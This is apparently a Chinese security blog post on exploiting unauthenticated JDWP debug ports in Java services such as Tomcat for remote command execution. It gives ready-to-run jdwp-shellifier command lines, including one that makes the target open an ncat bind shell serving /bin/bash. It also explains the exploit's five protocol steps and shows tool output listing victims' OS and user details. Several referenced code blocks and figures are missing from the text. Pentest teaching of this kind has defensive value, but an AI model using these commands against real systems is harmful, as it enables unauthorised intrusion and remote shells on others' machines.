点击蓝字 关注我们
JDWP(Java Debug Wire Protocol,Java调试线协议)是一个为Java调试而设计的通讯交互协议,它定义了调试器(Debugger)和被调试JVM(Debuggee)进程之间的交互数据的传递格式,它详细完整地定义了请求命令、回应数据和错误代码,保证了调试端和被调试端之间通信通畅。
在渗透测试的过程中,如果遇到目标Java应用开启了JDWP服务且没有配置访问控制的情况下,就可以利用JDWP实现远程代码执行。
漏洞利用脚本
https://github.com/IOActive/jdwp-shellifier
./jdwp-shellifier.py -t x.x.x.x -p 8000 #获取内部数据
./jdwp-shellifier.py -t x.x.x.x -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t x.x.x.x -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.
实战案例
这里使用--break-on 'java.lang.String.indexOf'
使漏洞利用更加稳定。
Debuggee 由一个运行我们的目标应用程序的多线程 JVM 组成。为了能够远程调试,JVM 实例必须使用在命令行上传递的选项 -Xdebug 以及选项 -Xrunjdwp(或 -agentlib)显式启动。例如,启动启用了远程调试的 Tomcat 服务器如下所示:
如体系结构图中所示,Java Debug Wire Protocol 是 Debugger 和 JVM 实例之间的中心链接。关于协议的观察包括:
当此类服务暴露于恶意网络或面向 Internet 时,事情可能会出错。
JDWP 规定必须通过简单的握手来启动通信。TCP 连接成功后,调试器(客户端)发送 14 个字符的 ASCII 字符串“JDWP-Handshake”。调试对象(服务器)通过发送完全相同的字符串来响应此消息。这种简单的握手提供了一种轻松发现 Internet 上实时 JDWP 服务的方法。只需发送一个简单的探测并检查特定响应。
这里用Scapy对其的通信进行一个抓包
>>> sniff(filter=”tcp port 8000 and host 192.168.160.128″, count=8)
<Sniffed: TCP:9 UDP:1 ICMP:0 Other:0>
>>> tcp.hexraw()
0000 15:49:30.397814 Ether / IP / TCP 192.168.160.128:59079 > 192.168.2.9:8000 S
0001 15:49:30.402445 Ether / IP / TCP 192.168.160.128:8000 > 192.168.160.128:59079 SA
0002 15:49:30.402508 Ether / IP / TCP 192.168.160.128:59079 > 192.168.2.9:8000 A
0003 15:49:30.402601 Ether / IP / TCP 192.168.160.128:59079 > 192.168.2.9:8000 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0004 15:49:30.407553 Ether / IP / TCP 192.168.2.9:8000 > 192.168.160.128:59079 A
0005 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.160.128:59079 A
0006 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.160.128:59079 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0007 15:
通过上面的结果,对于这种简单的握手,我们只需编写一个脚本,发送一个简单的探测并检查特定的响应即可,如下:
JDWP 定义了调试器和被调试器之间通信所涉及的消息[10]。消息遵循一个简单的结构,定义如下
Length 和 Id 字段是不言自明的。Flag字段仅用于区分请求包和回复包,值为0x80表示回复包。命令集字段定义命令的类别,如下表所示。\
「命令集」 | 命令 |
---|---|
0x40 | JVM 采取的行动(例如设置断点) |
0x40–0x7F | 向调试器提供事件信息(例如,JVM 已达到断点并正在等待进一步的操作) |
0x80 | 第三方扩展 |
我们想要执行任意代码,以下命令对我们的目的来说必要的。
JDWP 不仅允许您访问和调用已驻留在内存中的对象,还允许您创建或覆盖数据。
综上所述,JDWP 提供了内置命令来将任意类加载到 JVM 内存中并调用已经存在的和或新加载的字节码。
下面将讲解 Python 中创建漏洞利用代码的步骤,其行为类似于 JDI 前端的部分实现,以便尽可能可靠。
当面对一个开放的 JDWP 服务时,任意命令的执行恰好是五步之遥。
以下是它的运行方式:
因此最好将它设置在经常调用的方法上,例如 java.net.ServerSocket.accept(),每次服务器接收到新的网络连接时很可能调用它。但是,必须记住,它可以是运行时存在的任何方法。
从断点上下文中获取运行时对象 此时,我们几乎拥有成功、可靠利用所需的所有元素。我们缺少的是运行时对象引用。获取它很容易,我们可以通过发送 ClassType/InvokeMethod 数据包并提供运行时类和线程引用,在 JVM 运行时简单地执行 java.lang.Runtime.getRuntime() 静态方法[8]。
在运行时实例中查找和调用 exec() 方法最后一步只是在上一步获得的运行时静态对象中查找 exec() 方法,并使用我们的 String 对象调用它(通过发送 ObjectReference/InvokeMethod 数据包)在第三步中创建
启用 JPDA“调试模式”的情况下运行的 Tomcat:
[email protected]:~/apache-tomcat-6.0.39# ./bin/catalina.sh jpda start
我们在没有命令执行的情况下执行我们的脚本,以简单地获取一般系统信息:
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.160.128
[+] Targeting ‘192.168.160.128:8000’
[+] Reading settings for ‘Java HotSpot(TM) 64-Bit Server VM – 1.6.0_65’
[+] Found Runtime class: id=466[+] Found Runtime.getRuntime(): id=7facdb6a8038
[+] Created break event id=2
[+] Waiting for an event on ‘java.net.ServerSocket.accept’## Here we wait for breakpoint to be triggered by a new connection ##
[+] Received matching event from thread 0x8b0
[+] Found Operating System ‘Mac OS X’
[+] Found User name ‘pentestosx’
[+] Found ClassPath ‘/Users/pentestosx/Desktop/apache-tomcat-6.0.39/bin/bootstrap.jar’
[+] Found User home directory ‘/Users/pentestosx’
[!] Command successfully executed
相同的命令行,但针对 Windows 系统并采用完全不同的方法进行中断:
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.160.128 –break-on ‘java.lang.String.indexOf’
[+] Targeting ‘192.168.160.128:8000’
[+] Reading settings for ‘Java HotSpot(TM) Client VM – 1.7.0_51’
[+] Found Runtime class: id=593
[+] Found Runtime.getRuntime(): id=17977a9c
[+] Created break event id=2
[+] Waiting for an event on ‘java.lang.String.indexOf’
[+] Received matching event from thread 0x8f5
[+] Found Operating System ‘Windows 7’
[+] Found User name ‘hugsy’
[+] Found ClassPath ‘C:UsershugsyDesktopapache-tomcat-6.0.39binbootstrap.jar’
[+] Found User home directory ‘C:Usershugsy’
[!] Command successfully executed
另外关注公众号后台回复“框架RCE”可获取常见框架漏洞利用工具,后台回复“pentest”获取常用渗透测试工具集。回复“apk11”获取apk测试工具集。
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!